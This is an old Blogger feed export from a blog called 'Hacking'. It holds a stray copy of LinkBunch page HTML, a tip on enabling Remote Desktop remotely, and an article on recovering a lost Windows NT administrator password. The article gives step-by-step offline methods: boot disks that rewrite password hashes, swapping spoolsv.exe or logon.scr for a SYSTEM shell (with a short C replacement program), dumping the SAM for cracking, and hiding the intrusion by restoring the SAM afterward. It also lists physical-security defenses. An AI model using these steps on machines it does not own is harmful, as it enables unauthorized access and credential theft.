<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1866310394240400324</id><updated>2012-02-16T18:21:08.864-08:00</updated><title type='text'>Hacking</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://system-hackingtricks.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-890967109560635657</id><published>2010-01-14T20:44:00.000-08:00</published><updated>2010-01-14T20:45:09.486-08:00</updated><title type='text'></title><content type='html'>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;  &lt;title&gt;LinkBunch - Put multiple links into one - http://linkbun.ch&lt;/title&gt;&lt;br /&gt;&lt;br /&gt;  &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;meta name="Keywords" content="link, bunch, linkbunch, multiple, URLs, shrink, tinyurl, snipurl, twitter, pownce, im, google talk, email, short link, shortcut" /&gt;&lt;br /&gt;  &lt;meta name="Description" content="LinkBunch lets you put multiple links into one small link, such as linkbun.ch/0, which you can share over IM, Twitter, email or even a mobile phone SMS." /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;link href="/linkbunch.css" rel="stylesheet" type="text/css"/&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="container"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="header"&gt;&lt;a href="http://linkbun.ch"&gt;&lt;img src="/linkbunch-logo.png" alt="LinkBunch BETA"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="mainbody"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="GoogleAd_LinkBunchLeaderLinkUnit"&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;!--&lt;br /&gt;google_ad_client = "pub-5241782760087017";&lt;br /&gt;/* 728x15, created 4/19/08 */&lt;br /&gt;google_ad_slot = "8106371469";&lt;br /&gt;google_ad_width = 728;&lt;br /&gt;google_ad_height = 15;&lt;br /&gt;//--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&lt;br /&gt;src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center"&gt;&lt;strong&gt;LinkBunch lets you put multiple links into one small link&lt;/strong&gt; which you can share over IM, Twitter, email or even a mobile phone SMS. &lt;a href="/help.php"&gt;Learn more about LinkBunch here.&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center"&gt;Simply put in a list of links in the box below and click 'Bunch' to get your small LinkBunch link!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;form id="linkbunch" action="/linkbunch.php" method="get"&gt;&lt;br /&gt;&lt;p class="center"&gt;&lt;textarea name="links" cols="60" rows="7"&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center"&gt;&lt;input type="image" src="/bunch.png" name="bunch" value="Bunch"/&gt;&lt;/p&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center announce"&gt;&lt;strong&gt;&lt;a href="http://linkbunch.blogspot.com/2008/04/new-feature-copy-bunch-to-clipboard.html"&gt;New Feature: Copy Bunch to Clipboard!&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center"&gt;&lt;script src="http://digg.com/tools/diggthis.js" type="text/javascript"&gt;&lt;/script&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center social"&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/share.php?u=http%3A%2F%2Flinkbun.ch"&gt;&lt;img src="facebook.png" alt="Share on Facebook"&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http%3A%2F%2Flinkbun.ch&amp;title=LinkBunch+-+Put+multiple+links+into+one"&gt;&lt;img src="delicious.png" alt="Post LinkBunch to del.icio.us"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://reddit.com/submit?url=http%3A%2F%2Flinkbun.ch&amp;title=LinkBunch+-+Put+multiple+links+into+one"&gt;&lt;img src="reddit.gif" alt="Post LinkBunch to reddit"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.stumbleupon.com/url/linkbun.ch"&gt;&lt;img src="stumbleupon.png" alt="Stumble Upon LinkBunch"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://twitter.com/linkbunch"&gt;&lt;img src="twitter.gif" alt="Follow LinkBunch on Twitter"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Flinkbun.ch&amp;title=LinkBunch+-+Put+multiple+links+into+one"&gt;&lt;img src="googlebookmarks.gif" alt="Bookmark on Google"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.propeller.com/submit/?U=http%3A%2F%2Flinkbun.ch&amp;T=LinkBunch+-+Put+multiple+links+into+one&amp;C=LinkBunch+lets+you+put+multiple+links+into+one+short+link+that+can+be+shared+easily+over+IM+or+Twitter+or+any+place+where+space+is+limited."&gt;&lt;img src="propeller.gif" alt="Propel LinkBunch"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="footer"&gt;&lt;p&gt;&lt;a href="http://linkbun.ch"&gt;Home&lt;/a&gt; | &lt;a href="/help.php"&gt;Help&lt;/a&gt; | &lt;a href="http://linkbunch.blogspot.com"&gt;Blog&lt;/a&gt; | &lt;a href="/api.php"&gt;API&lt;/a&gt; | &lt;a href="/tos_privacy.php"&gt;TOS and Privacy Policy&lt;/a&gt; | &lt;a href="/contactus.php"&gt;Contact Us&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Copyright (C) 2008 &lt;a href="http://aalaap.com"&gt;Aalaap Ghag&lt;/a&gt;. All Rights Reserved.&lt;/p&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");&lt;br /&gt;document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;var pageTracker = _gat._getTracker("UA-375528-3");&lt;br /&gt;pageTracker._initData();&lt;br /&gt;pageTracker._trackPageview();&lt;br /&gt;&lt;/script&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-890967109560635657?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/890967109560635657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/890967109560635657'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2010/01/linkbunch-put-multiple-links-into-one.html' title=''/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-2991071682794191060</id><published>2009-12-01T11:23:00.002-08:00</published><updated>2009-12-01T11:35:24.881-08:00</updated><title type='text'>Enabling Remote Desktop on a Remote Machine</title><content type='html'>What if you want to use Remote Desktop on a server that's already off-site? Here's how to do it.&lt;br /&gt;&lt;br /&gt;You can access some properties pages of System using Computer Management by first connecting the console to a remote computer, then right-clicking on the root node and selecting Properties. Unfortunately however, the Remote tab is not available when you access System properties this way on a remote machine, so you can't enable Remote Desktop on a remote machine using this approach. But there's a workaround: start Registry Editor on your administrator workstation and select the Connect Network Registry option under the File menu. This opens the Select Computer search box. Either browse Active Directory to locate the remote server, or type its name in the textbox. Click OK and a node will be displayed in Registry Editor for the remote machine. Now browse &lt;code&gt;&lt;span style="color:#003366;"&gt;HKLM&lt;/span&gt;&lt;/code&gt; on SRV to find the following Registry key: HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server. Under the Terminal Server key, you'll find a REG_DWORD value named fDenyTSConnection. Double-click on that value to open the Edit DWORD Value box and change the value data from 1 (Remote Desktop disabled) to 0 (Remote Desktop enabled). The remote machine needs to be rebooted for the change to take effect, so open a command prompt and type the following command: &lt;code&gt;&lt;span style="color:#003366;"&gt;&lt;strong&gt;shutdown -m &lt;/strong&gt;&lt;a href="file://%5c%5cservername/"&gt;&lt;strong&gt;\\&lt;em&gt;servername&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&lt;em&gt; &lt;/em&gt;-r&lt;/strong&gt;&lt;/span&gt;&lt;/code&gt;  &lt;p&gt;After the remote machine reboots, Remote Desktop should be enabled on it. To test this from your workstation, open Start --&gt; All Programs --&gt; Accessories --&gt; Communications --&gt; Remote Desktop Connection, enter the name of the remote server in the Remote Desktop Connection logon box, supply your administrator password when prompted, and you're in. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-2991071682794191060?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2991071682794191060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/2991071682794191060'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/enabling-remote-desktop-on-remote.html' title='Enabling Remote Desktop on a Remote Machine'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-2680475616922502221</id><published>2009-12-01T11:23:00.001-08:00</published><updated>2009-12-01T11:30:37.207-08:00</updated><title type='text'>Recover Lost Windows NT Administrator Password</title><content type='html'>This tip is in the Administrators section. Use this information at your own risk. Any attempt to circumvent an OSs normal security can be disastrous. If you are really, really stuck - this tip may be for you. No warranty is suggested or implied. I have used some of these tools. Sometimes successfully and sometimes not. Those that attempt to overcome Syskey, in particular, seem risky. I have had the most success with the Linux boot disks and a manual brute force dictionary attack using L0phtcrack. These are do-it-yourself tools. There is something to be said for the comfort level of the commercial tools. Consider &lt;a href="http://www.regnow.com/softsell/visitor.cgi?affiliate=18083&amp;amp;action=site&amp;amp;vendor=1170" target="_blank"&gt;ElcomSoft&lt;/a&gt; for a commercial approach.  &lt;p&gt;If you are interested in these tools or procedures, I suggest download the code and print the procedures now (I have had to remove dead links from this page more than any other - this kind of data seems to disappear fast). &lt;/p&gt;&lt;p&gt;This article kicked off my interest in &lt;a href="http://www.windowsnetworking.com/pt"&gt;Penetration Testing&lt;/a&gt;. In particular, depending on what you are searching for, you may want to check on my &lt;a href="http://www.windowsnetworking.com/pt/ptips12.shtml"&gt;Penetration Testing Tip #12: Password Recovery Resources &lt;/a&gt;tip. For core security issues see &lt;a href="http://www.windowsnetworking.com/pt/ptips3.shtml"&gt;Wayne's Security Resources&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt;If your organization has not brought in a team to do a full scope penetration test, you really have no idea how insecure and vulnerable your network really is to internal and external hackers. I guarantee that you will be shocked but its a better security practice to make penetration testing part of your yearly risk analysis than to wait until you have a real incident. Given my experience as an NT systems admin and my experience hacking just such an environment, I will be writing white papers to help the NT admin protect his/her *ss. A critical resource is the &lt;a href="http://www.windowsnetworking.com/nt/atips/atips327.shtml"&gt;administrator's workstation&lt;/a&gt;. I strongly recommend you read my paper on how to protect this resource.  &lt;/p&gt;&lt;p&gt;There are various offline attacks. Do you have auditing turned on so you can detect when a server has been turned off? Making it vulnerable to offline attacks. If you are not aware of it: &lt;/p&gt;&lt;p&gt;Without physical security, there can be no security.  &lt;/p&gt;&lt;p&gt;If you have a resource which needs to be protected, the single most important protection is to restrict physical access.  &lt;/p&gt;Easiest: Linux boot disks  &lt;p&gt;There are Linux boot disks that have DOS and NTFS filesystem drivers and software that will read the registry and rewrite the password hashes for any account including the Administrators. It is as simply as:&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;shutdown or turnoff the PC  &lt;/li&gt;&lt;li&gt;put the book disk in the PC and reboot  &lt;/li&gt;&lt;li&gt;respond to the Linux prompts&lt;br /&gt;the highest barrier is understanding unix media descriptors  &lt;/li&gt;&lt;li&gt;select the account whose password hash needs to be rewritten &amp;amp; enter a new password  &lt;/li&gt;&lt;li&gt;reboot &amp;amp; access using the new password &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This process requires physical access to the console and an available floppy drive.  &lt;/p&gt;&lt;p&gt;The following site provides the downloadable boot disk image, image to disk utility, source code, and supporting documentation: &lt;a href="http://home.eunet.no/%7Epnordahl/ntpasswd/" target="_blank"&gt;Offline NT password utility&lt;/a&gt;. This version can disable syskey protect. They do note that turning off syskey under Windows 2000 damages the SAM and is not to be attempted except as a last resort to reinstallation. Watch for updates. &lt;/p&gt;&lt;p&gt;See &lt;a href="http://www.microsoft.com/technet/security/news/efs.mspx" target="_blank"&gt;Analysis of Alleged Vulnerability in Windows 2000 Syskey and the Encrypting File System&lt;/a&gt; for Microsoft's perspective.  &lt;/p&gt;&lt;p&gt;I have seen the Linux boot disks fail primarily on scsi-based boxes when the boot disk did not have the proper scsi driver or when there was some problem detected in the scsi setup. I have also seen PCs where the Linux boot disk works but the SAM seems to be invisible to Linux (although its in its standard location and later access with &lt;a href="http://www.windowsnetworking.com/nt/atips/atips174.shtml"&gt;NTFSDOS &lt;/a&gt;allows it to be copied).  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;What would raise barriers to these types of tools?  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Lock the PC up.&lt;br /&gt;Recognized requirement for servers. How many workstations are behind locked doors? Given what you have learned here, shouldn't at least a select set of workstations be secured? Say the officers, personnel, security personnel, ... &lt;/li&gt;&lt;li&gt;Power on passwords.&lt;br /&gt;A decent barrier. There are physical hacks. Are the cases locked?  &lt;/li&gt;&lt;li&gt;Set BIOS to boot from HD and not from floppy&lt;br /&gt;Raises the barrier a little.  &lt;/li&gt;&lt;li&gt;Remove the floppy and lock the case - higher barrier. For a high security environment. Would this fly where you work?  &lt;/li&gt;&lt;li&gt;Apply Microsoft's syskey to encrypt the hashes. See &lt;a href="http://www.windowsnetworking.com/nt/atips/atips92.shtml"&gt;atips92&lt;/a&gt;. Syskey stymies the freeware Linux offline attacks at this point in time. Some of the commercial products state they can reset the password even if Syskey has been applied. &lt;/li&gt;&lt;li&gt;Encrypt the hard drive. There are commercial products to do this. NT2000 includes encryption as an NT feature similar to NT4's NT compression feature. None of the methods I am aware of at this time will work under NT2000, even without the encrypting file system feature. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;It is not practical in most environments to have high security applied to workstations. But one or more of the less intrusion barriers would increase the time to break in and would increase the probability of exposure to the hacker. This would increase the probability of management acceptance of usage of these tools by legitimate support personnel trying to solve a difficult problems. &lt;p&gt;Some of the Linux boot disk utility variants leave a footprint. The password is changed. Some include backup/restore features for the sam. With this feature, one could boot a Windows NT PC; backup the sam data; overwrite the pw; reboot; login using the compromised account and do mischief including sending inappropriate email or deleting bits and pieces here and there - darn those unreliable PCs; restore the sam and the owner's pw; since the attack was offline, unless the shutdowns are monitored, the episode is essentially invisible. &lt;/p&gt;&lt;p&gt;The automated nature of these tools makes this available to putzes, baby hackers, and the guy/gal in the office next door. It took me 5 minutes with a very simple search to find the utilities and procedures documented on this page. The security by ignorance barrier is incredibly low. &lt;/p&gt;&lt;p&gt;The level of expertise to take advantage of physical access does vary. These baby tools for NT should make one seriously consider how to improve server and workstation security. Server physical security is generally good except in departmentally distributed servers. Workstation security is a nonentity in all but the most paranoid shops. These tools should give one pause, a act to protect your officers and other PCs with highly sensitive data from hackers. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Sunbelt released &lt;a href="http://www.sunbelt-software.com/product.cfm?id=265" target="_blank"&gt;NTAccess &lt;/a&gt;which can replace the administrator password of a Windows NT; Windows 2000 system with or without Active Directory; or XP. It can bypass syskey protection. NTAccess can replace the administrator password of a Windows XP, Windows NT or Windows 2000 system by rebooting the computer with a special set of boot disks or CD-ROM (XP only). This is useful if you forgot the administrator password and cannot access the Windows XP/2000/NT system. &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.accessdata.com/Product02_Overview.htm?ProductNum=02" target="_blank"&gt;AccessData&lt;/a&gt; are in the business of password recovery and sell toolkits which can reset the administrator password under Netware and NT as well as office and personal application products such as Word and Quicken. They provide technical support should things go awry. Given the consequences of problems, tech support can be worth every penny. They also have a set of freebies utilities. &lt;/p&gt;&lt;p&gt;The &lt;a href="http://www.lostpassword.com/windows-xp-2000-nt.htm" target="_blank"&gt;Passware Kit&lt;/a&gt; also offer a fairly extensive password recovery suite including NT &lt;i&gt;and&lt;/i&gt; many applications fairly inexpensively. They have recently announced a version of their product to reset Administrator password, secure boot password or key disk if lost: &lt;a href="http://www.lostpassword.com/windows-2000-nt.htm" target="_blank"&gt;Windows 2000 password&lt;/a&gt; product with the following features:  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;100% recovery rate  &lt;/li&gt;&lt;li&gt;Windows XP Home and Professional Editions are supported  &lt;/li&gt;&lt;li&gt;Windows 2000 Professional, Server and Advanced Server are supported  &lt;/li&gt;&lt;li&gt;Windows NT Workstation and Server 3.50, 3.51, 4.0 are supported  &lt;/li&gt;&lt;li&gt;Loads third party mass storage (SCSI, RAID, etc.) drivers when using Windows XP, 2000 or NT 4.0 setup disks  &lt;/li&gt;&lt;li&gt;All secure boot options are supported  &lt;/li&gt;&lt;li&gt;All Service Packs are supported &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;a href="http://www.winternals.com/products/#ntlocksmith" target="_blank"&gt;WInternals&lt;/a&gt; offer NTLockSmith to reset lost NT passwords. It only works in conjunction with NT Recover which is designed to recover data from damaged NT boxes. It sounds much like the Linux solution but uses NT Recover to get to the registry of the target NT box. I suggest you take a close look at their admin tools. Their product is Windows 2000 compatible. &lt;/p&gt;&lt;p&gt;Dieter Spaar's &lt;a href="http://www.mirider.com/ntaccess.html" target="_blank"&gt;NTAccess &lt;/a&gt;uses boot disks to access the NT / Windows 2000 system and change the administrator password. It can turnoff Syskey protection at the cost of the loss of all passwords except the administrators account which it resets. My guess is that they achieve this by deleting the LSA SecureBoot value and replacing the Administrator's password hash. They are not breaking the encryption. Just are turning it off. See &lt;a href="http://www.windowsnetworking.com/nt/registry/rtips226.shtml"&gt;my Syskey tip&lt;/a&gt; for more information.  &lt;/p&gt;&lt;p&gt;Many sites document a rather complex method of resetting the administrator's password. The method takes advantage of the fact that certain system services, such as the spooler, operate under the security context of the local system. By changing the file name of the spooler to another executable it is possible to launch an application with privilege to change password. There are several versions. They work. They are complex. They have the advantage that they do not appeal to hackers - take too long - too much danger of exposure. This technique has the disadvantage that there must be enough space to install another copy of NT. This method is documented : &lt;a href="http://www.ntfaq.com/ntfaq/recovery18.html" target="_blank"&gt;here&lt;/a&gt;, &lt;a href="http://www.nthelp.com/40/domain.htm" target="_blank"&gt;here&lt;/a&gt;, &lt;a href="http://www2.merton.ox.ac.uk/%7Esecurity/archive-199812/0054.html" target="_blank"&gt;here&lt;/a&gt;, and many other locations.  &lt;/p&gt;&lt;p&gt;Some take a much more direct approach. This is actually a method to escalate a user's account to admin level. If you have another account on the box, even though it is not admin, lets say account manager or backup account, you can log onto the system, rename spoolss.exe to spoolssbak.exe, rename usrmgr.exe to spoolss.exe, reboot. When you logon after reboot, User Manager will be running in the foreground running as localsystem. This gives you the ability to reset the admin password to whatever you want, or to create an new admin account for example. You need to logoff and back on using the administrator command to get the renamed files back under their proper names.&lt;br /&gt;Note: for NT workstation, User Manager is musrmgr.exe.  &lt;/p&gt;&lt;p&gt;kira bomba states &lt;quote&gt;&lt;/quote&gt;&lt;/p&gt;&lt;pre&gt;       I have found out that this method (as described above) doesn't work&lt;br /&gt;      on a Windows 2000 box. However, you can make it work if you consider&lt;br /&gt;      the following:&lt;br /&gt;     &lt;br /&gt;      1. It happens that you can't delete the "spoolsv.exe" (win2000 version&lt;br /&gt;      of "spoolss.exe") file from your harddisk (usually it's in the&lt;br /&gt;      \winnt\system32 directory). This file is loaded on start-up and can't&lt;br /&gt;      be stopped using the Task Manager. As long as you can't stop the&lt;br /&gt;      corresponding process, you can't delete the file, it's locked by the&lt;br /&gt;      operating system. Even if you find a way to stop the process you can't&lt;br /&gt;      delete or substitute the file, Windows will automatically replace it&lt;br /&gt;      with the default version.&lt;br /&gt;&lt;br /&gt;      A solution to this problem is to delete the file "offline", i. e. after&lt;br /&gt;      booting from a DOS floppy. If the harddisk is FAT formatted it will work&lt;br /&gt;      out just fine. If the harddisk is NTFS formatted you'll need a NTFS driver,&lt;br /&gt;      like NTFSDOS Pro, downloadable from&lt;br /&gt;      &lt;a href="http://www.sometips.com/goodstuff/default.htm" target="_blank"&gt;www.sometips.com/goodstuff/default.htm&lt;/a&gt;.&lt;br /&gt;      When you have booted from  a floppy it's no problem any more to delete&lt;br /&gt;      "spoolsv.exe" or to replace it. Replace with what? In Windows 2000, there&lt;br /&gt;      is no "usrmgr.exe" nor "musrmgr.exe". Well, compile the following C program,&lt;br /&gt;      name it "spoolsv.exe" and put it to where the original file was:&lt;br /&gt;&lt;br /&gt;       *****************&lt;br /&gt;       #include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;       int main(void)&lt;br /&gt;        {&lt;br /&gt;         system("control userpasswords");&lt;br /&gt;         return 0;&lt;br /&gt;        };&lt;br /&gt;      *****************&lt;br /&gt;      "mmc lusrmgr.msc" instead of "control userpasswords" should work too. When you&lt;br /&gt;      start Windows next time, as a normal user or as an admin, the User Manager&lt;br /&gt;      window will open...&lt;br /&gt;      &lt;/stdlib.h&gt; &lt;/pre&gt; &lt;p&gt;Another technique reported on the web which requires a 2nd copy of NT :  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Install an alternate copy of Windows NT.  &lt;/li&gt;&lt;li&gt;Boot up the alternate install.  &lt;/li&gt;&lt;li&gt;Use Start / Control Panel / System / Startup to change the default boot instance to your original install.  &lt;/li&gt;&lt;li&gt;In the original Windows NT folder, navigate to the \System32 sub-folder.  &lt;/li&gt;&lt;li&gt;Save a copy of logon.scr, the default logon screen saver.  &lt;/li&gt;&lt;li&gt;Delete logon.scr.  &lt;/li&gt;&lt;li&gt;Copy CMD.EXE to logon.scr.  &lt;/li&gt;&lt;li&gt;Shutdown and restart your original install.  &lt;/li&gt;&lt;li&gt;Wait for the logon screen saver to initiate. It will actually open a CMD prompt, in the security context of the local system account. &lt;i&gt;Be patient, it sometimes takes several minutes for the command window to popup.&lt;/i&gt;  &lt;/li&gt;&lt;li&gt;Type MUSRMGR, into the CMD prompt to execute User Manager, and reset the Administrator's password.  &lt;/li&gt;&lt;li&gt;Delete the logon.scr from %SystemRoot%\System32.  &lt;/li&gt;&lt;li&gt;Rename the saved default screen saver back to logon.scr. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;If you have an old ERD from when you knew the admin password, you could use it during a Windows NT repair install to get back to that point. Just be careful, any accounts created since that point will be lost and those not lost will have their passwords reset to an old version. &lt;/p&gt;&lt;p&gt;A method involving removing the HD and placing it in another NT box as an additional drive, is documented &lt;a href="http://www.compusmart.ab.ca/theclub/terrywas/winnt/winntpwd.htm" target="_blank"&gt;here &lt;/a&gt;. This approach normally works when nothing else will in most OSs not using encrypting file systems. Guess whether I have tried this approach. Not in NT. &lt;/p&gt;&lt;p&gt;If you have access to current ERD disks or the repair directory, you can use &lt;a href="http://www.l0pht.com/" target="_blank"&gt;L0phtCrack&lt;/a&gt; to access the password hashes and perform a brute force attack on the password hashes. It will break any password (it may take a day or two). L0phtCrack has the advantage that it does not modify the passwords. Additionally in another context, a run by the administrator against the password hashes using a simple dictionary will give you an idea if your users passwords are too weak. See &lt;a href="http://www.elcomsoft.com/prs.html" target="_blank"&gt;ElCOM &lt;/a&gt;for dictionaries that you can download as well as a significant suite of password breaker software.  &lt;/p&gt;&lt;p&gt;L0phtCrack can be used as an offline method:  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create an DOS bootable floppy  &lt;/li&gt;&lt;li&gt;If NT is installed as a FAT partition, use the DOS boot disk to copy the SAM, winnt\system32\config\sam  &lt;/li&gt;&lt;li&gt;If NT is installed on NT, use NTFSDOS.EXE to get the SAM.  &lt;/li&gt;&lt;li&gt;Copy the SAM to a temp directory on a working NT box  &lt;/li&gt;&lt;li&gt;Use pwdump to pull out the hashes and break them with l0phtcrack. &lt;/li&gt;&lt;/ul&gt;See &lt;a href="http://www.windowsnetworking.com/nt/atips/atips174.shtml"&gt;atips174&lt;/a&gt; if you are unfamiliar with NTFSDOS.EXE.  &lt;p&gt;If you need to break a password set by an application or perhaps a password for zipped files, see these sites:  &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.passwordservice.com/"&gt;www.passwordservice.com/ &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lostpassword.com/"&gt;www.lostpassword.com &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.elcomsoft.com/"&gt;www.elcomsoft.com &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.soft4you.com/"&gt;www.soft4you.com &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pwcrack.com/"&gt;www.pwcrack.com &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.password-crackers.com/crack1.html"&gt;Microsoft Office pw crackers &lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;These sites were just a few I am aware of. There are many. Unfortunately, as this article should make you aware of, passwords can give one a false sense of security when its all you have protecting your a$. &lt;/p&gt;&lt;p&gt;As an aside, if you have Win9x and have set a password and forgot it, you can bypass Windows with F8 during startup and choose the Command Prompt Only option. At the prompt, go to the Windows directory and delete .pwl files. No password will be required on the next boot. A new password can be set if you wish at the Start|Settings|Control Panel|Passwords and click on Change Windows Password. &lt;/p&gt;&lt;p&gt;CMOS/BIOS password info:  &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.11a.nu/ibios.htm"&gt;PC BIOS Security and Maintains Toolkit &lt;/a&gt;&lt;br /&gt;&lt;a href="http://home3.swipnet.se/%7Ew-37321/h-c1.htm"&gt;Cracking Programs &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geocities.com/SiliconValley/Lakes/6349/pass.htm"&gt;Forgotten Password Utilites &lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Microsoft has reprint a Windows NT Magazine background article on Where &lt;a href="http://www.microsoft.com/technet/archive/winntas/tips/winntmag/storpass.mspx"&gt;Windows NT Stores Passwords&lt;/a&gt;. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-2680475616922502221?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 